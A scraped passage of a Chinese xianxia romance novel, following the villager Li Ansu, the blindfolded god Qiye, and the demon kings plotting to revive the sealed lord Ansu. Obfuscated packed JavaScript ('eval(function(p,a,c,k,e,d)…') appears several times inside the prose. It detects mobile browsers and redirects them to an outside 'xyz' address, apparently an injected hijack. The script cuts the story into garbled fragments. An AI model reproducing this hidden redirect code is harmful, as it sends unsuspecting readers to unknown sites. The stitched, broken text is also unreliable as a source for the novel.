d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406156|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉的人,那些进来救人的男人都倒在地上。 李安素手里的柴刀掉在地上,她愣愣抬眸,什么都看不清,这人的脸好像被使了什么法术。 “多、多谢公子!还请您救救我的朋友!他们是不是死了……”李安素跪在地上,推了推昏迷不醒的张辰溪,祈求地望向男人,“您一定是修道之人吧,请您救救我们!” 凡人和修仙之人的区别,她不要太清楚。 男人抬手,那些捆在张辰溪身上的绳索应声而落,堆积在脚边,李安素连忙把那些人解开。 男人转身看向雾气浓郁之处,他抬手,雾气散开,一道法光亮起,一闪而过的同时,李安素眼睛剧痛。 她捂住眼睛,再看向自己手的时候,满手都是血。 “公子……”李安素捂着眼睛,一时间看不见任何东西,“您到底是何方神圣啊……” 岐晔回头,没想到自己的佛光弄伤了她的眼睛,他狠狠皱眉,这天地间,只有魔族惧佛光…… “公子?”李安素又叫了一声,嘴边被递上一枚丹药,她乖乖吃下去,视线才恢复正常。 “他们没死。”岐晔缓声说。 李安素站起来,地上一团小得几乎看不见的黑雾在地上,而被绑在墙上的人正是怀成毓。 “怀公子!你在这里!”李安素跑过去,扯不开铁链,她拿起地上的柴刀,二话不说就往上砍过去。 金属相碰,发出巨大的声响,岐晔就站在她身后,静静看着。 “怎么就是打不开……” “别用力了,你砍不开的。”岐晔出声说,看她那样紧张的样子,“你退后一点。” 李安素退后,很快,怀成毓就狠狠砸在了地上,嘴角溢出了鲜血,他用力咳了几声,睁开眼。 “怀公子!”李安素扑过去,捧起男人那张脸。 怀成毓是很清丽的长相,楚楚可怜地被李安素扶起来,他盯着李安素,“你是……你是谁啊……?” 李安素心跳都漏了一拍,“您、您不认得我啊,我是村上的人,我、我叫……” 面对怀成毓,李安素也说不出是喜欢还是感激,她脸涨红,头一回觉得自己的名字难以启齿。 “李安素,她叫李安素。”直到一道声音从身后传来,岐晔双手背着,“没事的话就快走吧,这妖怪还没死。” 岐晔不想多看她关切他人的模样,他见多了凡人过于丰富的情绪,“带着人从前门走。” 李安素“扑通”跪下来,“多谢仙人出手相助,民、民女一定铭记恩情,来日相报!” 怀成毓被她搀扶着走到前门坐下来,捂着剧痛的胸口,看着里头透出一道金光,想要转头去看。 “怀先生别看!”李安素提醒他。 “咳咳咳……李姑娘知道我的名字?”怀成毓擦了擦嘴角的血,视线里递过来一张手帕,他低头接过,“多谢……让你看到我这样狼狈的模样,真是失礼。” 没有人看见的地方,李安素通红着脸,这就是怀先生和其他人的区别,他永远彬彬有礼。 “怀、怀先生的名头,谁没听过,我也曾来看过……”李安素支支吾吾地说,看着远处冒了一个小头的阳光,“您这伤势看起来很严重,可一定要看大夫啊!” “多谢关心。”怀成毓微笑着,仰起头来,他用手帕擦干净了自己的脸,一张俊俏清丽的脸迎着日光。 李安素看着,心里却不是那么回事,怀先生的长相好像不一样了,可她明明记得七岁那年第一次看见他的悸动。 怀成毓应该更漂亮、更脱俗,可不知道是不是时间久了,她这会儿竟满脑子的岐晔。 那男人的皮肤竟比怀成毓还要白皙。 4. 梦到 确定人都离开后,寂静的庆丰楼,院子的空地上,那团黑雾还在做着最后的挣扎,它被一掌打坏了五魂,如今已是苟延残喘。 “你到底是谁啊?多管闲事……”精怪的嘴里发出叽里咕噜的声音,胸口被佛光贯穿,已经活不了了。 “这不是你该管的事情,把那些人的魂魄吐出来。”男人眼中闪过寒芒,一字一句毫无波动,“你不过一个五百年的精怪,竟然敢吃这么多凡人的魂魄?” 精怪是摄魂兽,一种由家畜修炼来的妖怪,在妖界一抓一把,岐晔都不屑于亲自出手,“这里的土地没有抓过你?” “他没有抓我……你不要找他,他没错。” 岐晔点了点头:“你还有心情管他,自己都活不了了。” 精怪叹了口气,一张嘴,一大股鲜血就冒了出来,它浑浊的眼注视着远处某个点:“我做错了,我知道……” 精怪闭上眼睛,幻形成了一个窈窕的女子,“我在这里看他唱了十几年的戏,我知道,他不认识我,他永远也不会记得我,但我就是想要他想起我……” 精怪在庆丰楼几十年,起初是央求这里的土地收留自己,为了留下来,为周边的百姓种田,后来,遇见了唱戏的。 她一眼就认出这是前世的恋人,只是怀成毓魂魄受损,早就不记得她了,她开始捕捉魂魄喂养他,就是为了有一天让他想起自己。 “他这一世的姻缘已经有人了,不是你。”岐晔平淡无波,说出了残酷的现实,“你自作多情。” “我不敢让他爱上我,我不求,只希望他能想起来,哪怕一点点……”精怪垂下头,转而又愤恨地盯着他:“你这样的人,定然不会了解,喜欢上一个非他不可的人,这一辈子都得不到自由。” 岐晔不理解,如果是他,爱上一个人,就必须要得到结果。 不过精怪没这个机会了,他抬手:“我没心情听你说这些,把魂魄都吐出来。” 那精怪还想要坚持,下一刻,它的身体裂开,一道黑雾从身体之中钻出来,它尖叫着,魂魄被生生撕裂了。 数不清的魂魄从它的身体里钻出来,向着魂魄的主人飞去。只是那些魂魄很多已经没了肉身。 那精怪仿佛一捧散沙飘散在空中,消失在眼前。 这样的杀生方式是很痛苦的,不给它任何等待的时间,剧痛袭来的一瞬间,可以清晰看见自己的魂魄离开。但也是最方便的,岐晔都习惯了。 他一转身,院子里静悄悄的,他的视线落在石狮子后,“出来。” 一个矮小的老人从地底下钻出来,对着岐晔鞠躬:“衡玉神尊,小仙不知您大驾光临……还请恕罪……” 土地是个修炼多年的老神仙,看着老,其实年纪还不到岐晔的十分之一,他可是从出生起就一直听说岐晔的恐怖,如今腿都是发软的。 “身为一方守护神,和妖怪勾结,你该当何罪。”岐晔冷声说,“这妖怪你可认得?” 说不认得是会直接死的,土地怜惜地看了眼那妖怪的地方,“是……小仙知道,是摄魂兽……小仙也是见它可怜,但、但如今它走火入魔,是它咎由自取。” 岐晔闭了闭眼,“我还赶时间,你自己处理好这一地狼藉,另外给那些人疗伤,做完就自己去领罚吧。” 公是公,私是私,公私分明,没有一丝情理,这就是土地对岐晔的第一印象,果真和传闻中的一模一样。 院中刮过一丝轻风,再一看,岐晔已经消失不见了。 土地擦了擦汗,直接坐在了地上。 “岐晔、岐晔!”李安素喊着,用力拍门,如今已经天光大亮,她也终于回来了,原本以为不会去这么久,谁知道把怀成毓送回去后,已经过了一天了。 她担心一个看不见的男人在家里,也不知道他吃什么。 “岐晔!”李安素用力拍门,下一刻,木门自动打开,家里一副平静模样,哪里还有岐晔的踪影。 李安素愣愣地,在桌上找到了一张纸条,上面写着一行龙飞凤舞的字,她才喃喃道:“怎么就走了……” 她收拾起地上的床铺,又看了眼桌上已经洗得干干净净的碗筷,想象着男人一个人吃完饭后,摸着黑去洗碗的模样。 心底掀起一股浓烈的愧疚,李安素走到橱柜边上,打开米缸,满到快要溢出来的米掉在了地上,里头是白花花的新米。 “咚。”李安素手里的米勺掉在地上,她站起来,她要去找岐晔。 魔界不周山,这里常年无光,魔气盈溢,越靠近江边越浓烈。如今一万年过去了,万灵江水依旧滔滔不绝,浪花卷起漫天的水滴,落在男人身上时就悄然避开。 一双绿瞳望着远处的封印,只见江面上,一座青铜鼎立在那里,幽幽散发着红光,仿佛已经等待了多年。 自从安愫被封印,魔界地盘日益减少,生存并不容易,因为新首领上任才有所好转。 “你来了。”一道声音在身后响起,岐晔偏过头,露出那双眼睛。 来者正是魔族新首领七凤,至于为什么叫七凤,原因很简单,这人飞升了七次才成魔神,是个没天赋的。 “神尊怎么摘掉眼纱了?真是稀奇,不过,这双眼睛倒是真好看,我有点想要收藏了。”七凤玩笑似的摸了摸下巴,“您又来看尊主了?” 别人不知道,七凤可是知道,岐晔每一百年都来万灵江边看安愫,比他这个魔族人还勤。 “我来看看封印。” 不知为何,这里的魔气依旧强大,但气息已经减少了些许。 远处飞来一个小神仙,是神族镇守封印的士兵,“衡玉神尊!封印没有变化,但是魔头、魔头没有反应。” “小仙君这是说的什么话,哪里来的魔头,那是魔族的尊主。”七凤摇了摇手里的扇子,好心提醒。 那仙君是个嫉恶如仇的,翻了个白眼,语气冷硬:“无耻之徒!最好永远都别出来!” “神尊,看来神族人不太欢迎我,我还是离开吧。”说完,七凤乘着一座乌云,缓缓离开了。 岐晔闭上眼睛,他的眼睛还受不了长期光照,他召唤来坐骑,到了梦兽貘的宫殿。 貘可以探查到任何人的梦境,越是修为高的貘越能探查强者的梦境,而这头貘,是六界最强的貘。 听见声音,原本还闭着眼睡觉的貘动了动,睁开一只眼睛,立刻从床上滚了下来。 “岐、岐晔!?”貘瞪大了眼睛,他已经白发苍苍,而与它同岁的岐晔还是青丝俊俏,“你没事来我这里做什么?” 他们并不是好朋友,只是两人的寿命一个比一个长,才不得已多了些怜惜之情。 和他们一样老的神仙闭关的闭关,陨落的陨落,只有岐晔还清醒着。 “我有时候真怀疑你是这世间法则的漏洞,你都不用睡觉,更别说闭关了……”貘摇了摇头,“你来找我有什么事?” 岐晔站在远处,背着手,“你感受得到我的梦境吗?” 此话一出,宫殿里的其他貘纷纷围了上来,都想要吃一口,这可是岐晔的梦! “都出去!”貘大吼一声,才幽幽站起来,“有个屁,你没事干来耍我?谁不知道,你就是个怪胎,压根没有做过梦——” 话音戛然而止,随着貘的神识靠近岐晔,他立刻严肃起来,“你这梦境有多久了?” 岐晔抿唇:“一年了。” 对于神仙来说,一年不过转瞬即逝,但对于岐晔来说不太正常,他不睡觉。 “一年你不管的?这貘兽都被你养的有些上火了。”貘嘲弄地说了句,从岐晔的神识里扯了扯,拉出了一头长相敦厚的貘,“也不知道是什么梦,让我们神尊大人这样宽容?” “安愫。”岐晔回了句。 岐晔居高临下地盯着那头貘,紧张得哆嗦起来,他蹲下身子,从它嘴里夺过自己的梦境,毫不留情捏碎了。 “安愫应该在世间消失得干干净净,你能梦到她,只有两种可能。”貘捋了捋自己不存在的长髯,“她出来了,或者,你爱上她了。” 空气静默了片刻,岐晔忽然笑了声,整个身体轻轻颤抖起来,肩胛骨像是要飞出来一样。过了好一会,才站直身子。 貘也觉得荒谬,挠了挠头,“看来是她出来了,可能只是一缕神识,也可能,现在封印里面压根就没有安愫了。” 岐晔转身向外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406157|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貘的声音从身后传来:“岐晔,你应该遵从上天的旨意,多和人接触接触,不如去凡间看看?” 岐晔没理会,又听貘说:“你拼了命从安愫手里夺来的六界,你好像一点兴趣都没有。” 岐晔微微勾唇,他当然没有兴趣,和安愫为敌仅仅是自己的选择,六界于他,从来没有太多意义。 六界奉为至尊的金身佛陀,没有人敢怀疑他的强大,但貘清晰看见,岐晔身上的神环正在减淡。 岐晔离开宫殿后,貘又仔细想了想。岐晔竟然做梦了,这可是几万年都没有一次的,更不要说梦见安愫了。 岐晔动作太快了,他都没看清那梦境的模样,就被他一把捏碎了。 李安素说完要找岐晔的话就把事情抛到脑后了,一睡睡到日上三竿,她不种田,因为只有自己一个人吃饭,摘点什么草药卖钱就能养活自己。 好不容易清醒了,一看外面灼热的日光又放弃了。直到有人敲门。 “你怎么还在睡觉?一会儿怀先生要来见你!”一打开门,张辰溪急切地说:“捯饬捯饬啊!” 李安素晃了晃:“你说什么?谁要来?” “怀先生!庆丰楼的人要来见你,感谢你!” 李安素挠了挠头,跟在他身后,匆忙洗漱了一下,来到院子里,庆丰楼的人纷纷站在门口。 她视线落在怀成毓身上,后者今日穿着一件素净的衣裳,不是上台的扮相,微微转过头来,望着她笑。她很少看见这样的他。 “说话啊!”张辰溪推了推李安素。 “怀……”李安素刚开口。 “李姑娘,我知道。”怀成毓笑得温柔,他向来有礼节,懂分寸,“你还好吗?” 李安素的脸噌的一下红了,瞬间连手应该放在哪里都不知道了,她揪着身侧的衣服,“你、你好!” 怀成毓笑了下,“我们边走边说?” 他抬手指着河边的地方,李安素缓缓走上去,她悄悄踩在了怀成毓踩过的地方,拉近了距离。 怀成毓浑然不觉,轻轻地笑着,李安素低着头,一紧张就不知道在说什么了,她咽了咽唾沫。 “额、怀先生伤好些了吗?”李安素声音沙哑,一出口就后悔地闭了闭眼,“我、我是说你是不是还痛着呢。” “好多了,谢谢姑娘关心,怀某是个男人,痛也不会说。” 李安素:“为……什么?” 怀成毓停下来:“大概是不想要李姑娘担心。” 李安素:“……”她脸上的温度又加深了些,一低头,一只手闯进了自己的视线,是怀成毓垂在身侧的手,她头脑一热,伸手抓上去。 怀成毓微微一僵,他面上不改颜色,没有挣扎。 未婚男女牵手这种事,就是怀成毓也没遇见过,李安素比他想象得大胆多了。 可李安素不觉得有什么,她只觉得牵着的那只手好软、好滑,她心里忍不住触动,还想要更进一步。 怀成毓眼中闪过冷漠,笑着说:“到了,我们也差不多要离开了,喏,这些是我挑的礼物,希望李姑娘喜欢。” 李安素看向那一地的东西,庆丰楼很有钱,出手也阔绰,可她觉得最好的礼物就是怀成毓来见她了。 “怀、怀先生!我、我们以后是朋友了吗?”李安素上前一步,攥紧了手心的温度。 上车前,怀成毓微微回过头来,还是那张温柔的笑脸,“当然。” “朋友……朋友……”李安素望着自己的手。 “想什么呢,是不是幸福得要晕过去了?”张辰溪上前,凑近她,“怎么老盯着自己的手?” “我要好好赚钱。”李安素暗下决心,“张辰溪,我要好好赚钱,每天都去看他唱戏。” 马车上,怀成毓用了三张手帕,仔仔细细把自己的手擦干净了,才接过仆人递过来的台词本。 “这是下一次的戏本。”仆人跪在一旁。 怀成毓一改方才的温柔,浑身透着冷意,“嗯,我一会儿看。” “先生为什么要大老远来这地方,真是为了感谢那女子?”仆人唯唯诺诺开口。 怀成毓没抬头,“给点好处而已。” 5. 凡人都是贪婪的 这段时间李安素过得很滋润,镇上的赌场都不乐意她来了,原因很简单,她一来就赢走了全部的钱。 连张辰溪都以为她中邪了,扬言说要她一路赌到京城。 李安素基本上每天都去庆丰楼,给怀成毓买彩头、送红绡。一来二去也没有存下多少钱。 中秋,却下了一场大雨,圆月被乌云遮蔽,不是正常天象。 李安素前夜看戏本子到凌晨,一觉睡到了夜里,醒来的时候,闪电将房间照得惨白一片,她猛然坐起来。 她这人什么都不怕,唯一怕的就是打雷,何况今夜的雷鸣声实在太大,她跑过去关窗,却瞥见了院子里的景象。 小院子里,倾盆大雨将院中的花花草草淋倒一片,她也不知道哪里来的勇气,打开窗就跑出去。 “小绿!”李安素喊了一声,把一盆半死不活的草抱起来就往屋子里冲,运完了一盆又抱起一盆。 李安素站在屋子里,脚边堆积了一小滩水,又是一道闪电袭来,她来不及闭眼。天边一道火红的光闪过,流星一般的火焰擦过天空,直直砸下来。 她亲眼看着这道光离自己越来越近,伴随着烧红的火焰,出现在了自己的院子里。 “火!”李安素愣住,她放下盆栽,再一次奔进了雨幕中,看见了倒在自家院子里的人。 这人穿得奇奇怪怪的,身上不断冒着火焰,已经烧着了她的菜,“喂!你是谁啊?” 李安素上前,那些火焰缓缓熄灭下去。 她顾不上自己的菜,拉起这人,男人闭着眼睛,唇边溢出了鲜血,她被吓坏了,“岐……岐晔?!” 片刻后,李安素擦着头上的水,看着倒在自己房中的男人,他浑身湿透,她也不好把人放在床上,于是去拿干毛巾。 “岐晔,你怎么在这里……我说,你上回有什么急事,怎么说走就走了……”李安素拿着毛巾走过来,看见坐在椅子上的人,顿时愣住,“你、你醒了啊。” 她把毛巾递过去,却瞥见男人干燥的衣物,地上只有她带来的水,男人干干净净,刚才简直是她的错觉。 “咳咳咳……多谢姑娘,又是你救了我,请问有没有不要用的布?”岐晔闭着眼睛,他仿佛压抑着剧烈的疼痛,“我的眼睛不能见光。” 方才进了封印鼎中,与安愫的魔气打斗,他飞升之时就有一双阴阳重瞳,现在只有肉眼了,魔物就直冲着他的眼睛来。 岐晔抿唇,但他确实探查到了安愫的气息有变动。 “给,喝点水吧。”李安素拿着毛巾给自己擦,“下这么大雨,你又没地方去了?” 岐晔轻咳几声,看了眼屋子的陈设,他给这女子的命运簿多加了几笔财气,可却不见她的生活有任何改善,“姑娘这段日子过得还好吗?” 李安素挠了挠头,“不好意思啊……家里没米了,你吃点菜将就一下,我明日就去赌场……” 岐晔一愣,自顾自地戴上了布条,“赌场?” 他语气加重,“姑娘还会赌钱?” 李安素有些不好意思,“应该说我只会赌钱,我又没其他本事,你放心,我最近手气很好,我一定带吃的回来。” “……嗯。” 李安素没听出来他语气沉重了些,男人阴郁地唇角向下,他本想到给她加的财气却让她嗜赌成性。 岐晔脸上蒙着洗得发黄的布条,略显粗糙的质感将男人的脸侧勒出红痕,李安素觉得这样的布条配不上他。 凡人是贪婪的,这个道理岐晔很久之前就知道了,李安素刚开始能不亏本就很高兴了,但渐渐不满足了。 赚不到盆满钵满就觉得不值得,她只希望越赚越多。岐晔没有阻止她,任由她一个人出门去赌场。 可这一次,李安素失算了,她亏得什么都不剩,把这些日子赚的钱都搭进去了,出赌场的时候,一个男人跟上来。 “喂!你怎么就走了!”男人追出来,他双眼凹陷,动作粗鲁,“老子所有钱都搭进去了,你怎么输了!?” 李安素认出这是个经常押自己的,她退后几步,“我、我也不能保证每回都赢啊!” “你不能保证?那谁能把钱还我!”男人不依不饶,眼中已经是疯狂,“你把钱还我!都是你害的!” 他嗓门大,李安素焦急地看着远处的庆丰楼,她用力甩开男人的手,“你放开我!又不是我害的,有输有赢很正常吧!?” 李安素担心会撞见怀成毓,想到这里,她更加用力挣扎,“滚!” “臭丫头片子,毛都没长齐就来赌钱,老子要让你付出代价!”男人嚷嚷着,“都来看看啊!这人自己没多少钱,把我们的钱都坑了!” 李安素着急退后,面前一辆马车正向着自己奔来,眼看着就要撞上去,周遭都是看热闹的,没有准备出手,李安素一时间带上了哭腔。 “放开我!”她用力甩动自己的手,五大三粗的男人竟真的被她挣脱了,她一巴掌打上去。 “啪!”清脆的声音在空中响起,男人的脸肿起一大块。 李安素吓得往后退,她捂着发麻的手掌,后背贴上一面冷硬的墙,还没回头,一道轻微的呼吸打在她的头顶。 “你要干什么?”一道不算温柔的声音插了进来,李安素愣愣回头,就看见岐晔清晰的下颌线,他静静盯着面前的男人。 “哟,还有姘头,你和她一伙的吧,她今天输得屁滚尿流,老子的钱都没了!”男人就差指着李安素骂了,余光瞥见又来了一个男人,忽然“呵呵”笑起来,“一个瞎子也来英雄救美?你有钱吗你?” “你说什么呢!”李安素这一声把岐晔都吓了一跳,她小小的个子站出来,“赌钱本来就有输有赢,你跟在我屁股后面赢钱,没赢到钱就骂我?屁用都没有。” 她杏眼圆瞪,眼中透射出浓浓的不屑和压迫,“有种就去官府啊!” “我、我……”男人还要开口说什么,腿却不听使唤了,膝盖砸在地上,跪下了。 岐晔幽幽开口:“他已经知道错了,别生气了。”他的手轻轻搭在李安素背上,顺着手臂,他牵着李安素往人群以外走。 走出人群,岐晔立刻松开了手,一个人走在前头,李安素追上去:“你怎么来了?” 岐晔没回答,但手上的肉表明了他来这里的意图,李安素又开口:“你是来买菜的?没事,我带回去就行……”“你有钱吗?”岐晔停顿下来。 “没、没钱,你知道了,我的钱全都输光了……”李安素无地自容,盯着脚尖,“但、但我会赢回来的!” “你还要赌钱?”岐晔语气加重,一时间没控制住音量,“你们凡人为什么就是死性不改?” 李安素被说得一愣,脸涨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不用,我习惯了,不会不方便。”岐晔轻声说,他往锅子放了点调料和香料,炒出了糖色,肉裹着糖浆,迸发出浓烈的香味。 李安素注视着他认真的动作,眼睛上蒙着的布条让他更添了一丝神圣,她躲在阴影里,看着一缕阳光从男人的发间穿过。 “真好看啊,岐晔你的眼睛还能治好吗?”李安素喃喃道,不敢想象男人如果能用那双眼睛看自己该多美。 “不知道……”岐晔将最后一碟菜放在桌上,“吃吧。” 说完,岐晔也不等她,已经拿了碗筷准备吃。 男人没有等她评价的意思,李安素往嘴里塞了一块肉,顿时愣住,“好、好吃!岐晔!你真是天才,这是我吃过最好吃的东西。” 岐晔其实不会做饭,他辟谷这么多年,早就抛弃了五谷,要不说仙人有别呢,他一出生就是完美的,几乎没有不会做的事情。 “你到底是怎么做的?”李安素吃完了第三碗饭,摸着肚子说。 “不难。”岐晔缓缓咀嚼,放了碗筷。 只要放点多到溢出来的灵力就行。 “那你怎么吃的这么少?”李安素撑着头,“我记得上回你吃得挺多的啊。” “给你做的。” 李安素越想越觉得自己赚了,岐晔皮囊不错,话也少,关键吃得还不多。 “我会好好赚钱的。”李安素下定决心,只是会不会做还不一定。 凡人都是有惰性的,岐晔在心里嗤笑。 他这一回下凡,探查了封印里的安愫神魂后,其他事情只需交给其他神仙就行。 或许貘说得对,他应该多和凡人接触。 6. 做饭 魔界,不周山,炽霞宫。 鬼哭河环绕在不周山山侧,山顶上,一座雄武的宫殿屹立在峭壁悬崖,当今魔族几个重要头目都在其中。 “这能不能修一下!都烂成什么样了!”般若王叉着腰站在殿中,环视一圈,“这、这、这!这都是什么鬼!” “没办法,最近没什么钱了,你自己出钱修啊。”求败王撩了下头发,从外缓缓走进,“也不知道七凤找我们做什么,我现在都在云游四海,没有那么多闲工夫。” 般若王冷笑一声,她欣赏着自己的蔻丹,“你是担心你那几个红颜知己找上来吧。” 求败王撇了撇嘴,凑近般若王吹了口气:“当年安愫身边的倒茶小妹,也成了魔族一方的王,真是今时不同往日了。” 般若脸色一僵,下一刻,直接抽出了腰间的鞭子,甩在求败王的身上,“说话给我放尊重一点!” 求败王也不甘示弱,“如今尊主快要回来了,你当年偷她东西的事情,我可还记得。” 这些年,般若想要杀求败也不是秘密,其他几个魔族封王都没有插手的意思。 “喂,你们可真冷漠,她快把我杀了!”求败控诉了一句。 坐在阴影里的鸿爪王幽幽说:“那岂不美哉?你们打一架,输的人我来杀,换我魔族大把的好将士。” 话音将落,一道身影从大殿门口走进,七凤一眼就看见般若王,“般若又漂亮咯,今天来哥哥这里住好不好?” 般若翻了个白眼,撩了下袖子,“废话少说,直接开始吧,我还要回去浇花。” “你那也配叫花?”求败撇了撇嘴。 “狮子精你到底什么意思?!”般若瞪着求败,“你想打一架是不是!?” 两人说着就要动手,只有鸿爪走上前,把一把锋利的刀扎在桌上,他冷漠开口:“不想好好谈谈就滚出去。” 般若犹豫着退后一步,离求败很远距离才坐下来,刚想说什么,面前放上一杯茶,“多谢……” 她一转头,对上鸿爪的鹰眸,后者静静盯着她,她喉头梗塞:“……开始吧。” 七凤沉默良久,最终缓缓开口:“尊主的转世已经降生了,我们的人弄丢了。” 殿堂里沉默片刻,下一刻,一声激烈的响声打破了沉寂,宫殿上的一根房梁砸下来,原本栖息在上的寒巳王落下来。 “你说什么?!”几个封王齐齐开口,个个盯着七凤:“尊主如今在哪里!” “我带人去找!” “到底是谁办的这件事情!” 七凤扶额,抬手说:“你们先不要这样激动,我们都共事这么多年了,相互之间一点信任都没有吗?” 几个人不回答,七凤知道是没有半点信任了,他当着所有人狐疑的视线,抬起手做投降状:“不是我干的,两个小兵没轻没重的,路过什刹海太害怕,就掉下去了,现在已经过去半个月了。” “还等什么,现在就去找!”般若第一个站起来,“半个月过去,凡间已经过去十几年了!” 魔族的时间流逝虽没有神界那样夸张,但也比凡间快,“要是等到魔兵找到,尊主的肉身都轮回好几世了!” 鸿爪厉声开口:“般若不要激动,现在应该好好谈谈,你不要一个人行动。” “那是安愫!你以为是什么随随便便的人吗?”般若不理解。 “般若,先坐下来。”寒巳也看过来,般若只好闭上嘴。 这几个人中,不稳重的大多数,这几个人除了会打架没有什么过人之处,最冷静的就是鸿爪,七凤心里很清楚,他笑着打圆场:“都别吵了,目前我们感受不到尊主的气息,神界的人也感受不到,尊主还是安全的。” 般若怪异地嘟哝了一句:“也不知道是谁出的馊主意,把尊主的魂魄偷出来,你可真行啊……” 求败立刻看过来:“说我呢?要不是你弄丢了招魂铃,我们至于去偷肉身吗?” 两百年前,也就是一眨眼之间,岐晔忽然陷入沉睡,魔界蠢蠢欲动,这一千年来,六界之中都不乏安愫的拥护者。 于是求败去弄来了招魂铃,此法宝可以搜集六界之内所有逝者的魂气。魂气一旦遇上魂魄,就有希望完整复制出一个安愫。 不过这件事情最终是失败了,招魂铃被般若弄丢了,魔兵偷出来的残魂掉进了什刹海,召集几个人回来又磨磨蹭蹭好几天,魔族内部如今就是一盘散沙。 “哎,只能说都是一群废物,没有尊主,这点事情都办不好。”寒巳悲观道。 鸿爪抽了抽嘴角,其实安愫在的时候也没有任何区别,那人比他们还不靠谱。 “趁着现在岐晔还不知道,赶紧找回来就行,我明日就去拜访时亭,没事就散了吧。”七凤叹了口气,看向门外,魔界的天空总是雾蒙蒙的,多年前战败后就一直被驱逐,咬了咬牙,“一定要把安愫弄出来,一雪前耻。” 般若走出宫殿,心里却盘算着不能等待,她必须要第一个找到安愫的残魂,忽然,她走过一个角落,肩膀被人攥住,往后一顶。 “喂!”般若背部靠在墙壁上,抬头,不用说就知道是谁。 “你是故意的?”求败眯着眼睛,审视般若,“你是故意把招魂铃弄丢的,你这个叛徒。” 般若挣扎不过,凑上前,唇角微微张开,吻了下求败,后者一愣,更加用力压住她。 “想干什么,你到底想要做什么,你不要藏,我知道你是神族的人。”求败死死盯着般若,企图从她脸上盯出点什么来。 他和她的关系,早就说不清楚了,求败迫切从她口中得到什么,“你和我直接说不行吗,我不会追究你,但如果被其他人知道了,你会第一个死。” 般若嘲讽一般说:“你帮我?你会帮我吗?” “当然!”求败立刻开口,“如果等到安愫回来,她想杀你就跟弄死一只蚂蚁一样,你不知道她有多恐怖。” “好,那我求你帮我。”般若踮起脚尖,凑近求败的耳边,“我求你——我求你滚!” 求败浑身一僵,鲜血落了一地,他捂着喷薄而出的血,满头大汗盯着般若离开的背影,“般若!” 女人没有回头,空气中凝结着的血雾缓缓散开,再看时,求败伤口已经痊愈。 “喂!李安素,你这段时间在干嘛呢,都不见你去赌钱了。” 太阳西下,橙红的日光下,张辰溪叫住了经过的李安素,他没个正形地上前,扯了扯她的背篓:“哟,去镇上了?怎么不让我带你去?” 李安素往旁边避了避:“别动,我要赶紧回去了。”再不回去赶不上热乎菜了。 这几天,她吃着岐晔做的饭,身上长了点肉,每天出去卖货,皮肤也晒黑了点,但总归是向好了点。 “嘶,不像你啊,去镇上不去赌钱?你没搞错吧,那就是……去庆丰楼了?”张辰溪笑着凑上前,“哥这有好东西,要不要看看?” 李安素用脚都能想出来是戏本子,“没兴趣,我现在不看那玩意儿了。” 她张望着远处的小山坡,今日不见岐晔出来接她,“哎呀你到底要说什么,不说我就先走了!” “哎等等!你这段时间怎么变化这么大?”张辰溪咂摸着嘴,“该不会是家里藏人了吧你!” 张辰溪开玩笑说,挠了挠脑袋,“不过谅你也没这个本事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406159|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李安素掀开他:“行了你,我还有事情,下回再说吧啊,太阳都要落山了。” 张辰溪拦住她,脸色一沉,他方才说的话竟然没有等来李安素的否认,他心里泛上不安,“喂,你到底什么意思啊,明日跟我一起去赌场?我这段时间和我爹去码头搬砖头赚了不少,还你钱?” 果不其然,一听见钱,李安素回过头来,“什么时候?” “明日,明日我接你,把钱都还你。”张辰溪这几年欠了李安素不少钱。 李安素点头,她现在要赚钱给岐晔治眼睛,正是需要用钱的时候,“行。” 她快步走到山坡上,一转头就能看见一幢小房子,是她和岐晔住的地方。起初她不提起离开的事情,岐晔也不说,就这么住了一个多月。 她刚踏进院门,院子里的景象一览无余。 岐晔坐在一棵桂花树下,香气盈鼻,金黄的小花点缀在叶间,随风微微摆动,几朵小的落在树下人的头上。 他浑然不觉,坐着发呆,沉静如水的侧脸垂着,细细的绒毛在脸侧勾勒出一圈荧光,他眼睛上照常戴着布条,布条很长,和满头青丝交织在一块,早就分不清了。 “回来了。”岐晔微微偏头,在李安素即将碰到他脸上的瞬间开了口。 李安素一顿:“你怎么知道我回来了?” “闻到了。”岐晔勾唇说。 李安素吸了吸鼻子,院子里只有桂花香和饭菜香,她什么都闻不到。 “我给你带了好东西。”李安素把一个用油纸包裹的东西放在桌上,“是月饼哦。” 中秋之后,吃月饼的人就少了,价格也低了,李安素才能买得起,她挠了挠头,“你应该吃过比这更好的月饼吧。” 岐晔没说话,咽下了一口月饼,甜、腻,但香味有些上瘾,“我从没吃过,味道很好,你也尝尝。” 李安素咽了咽口水,早就想吃了,她凑上去,咬了一口男人手里的月饼,“好吃。” 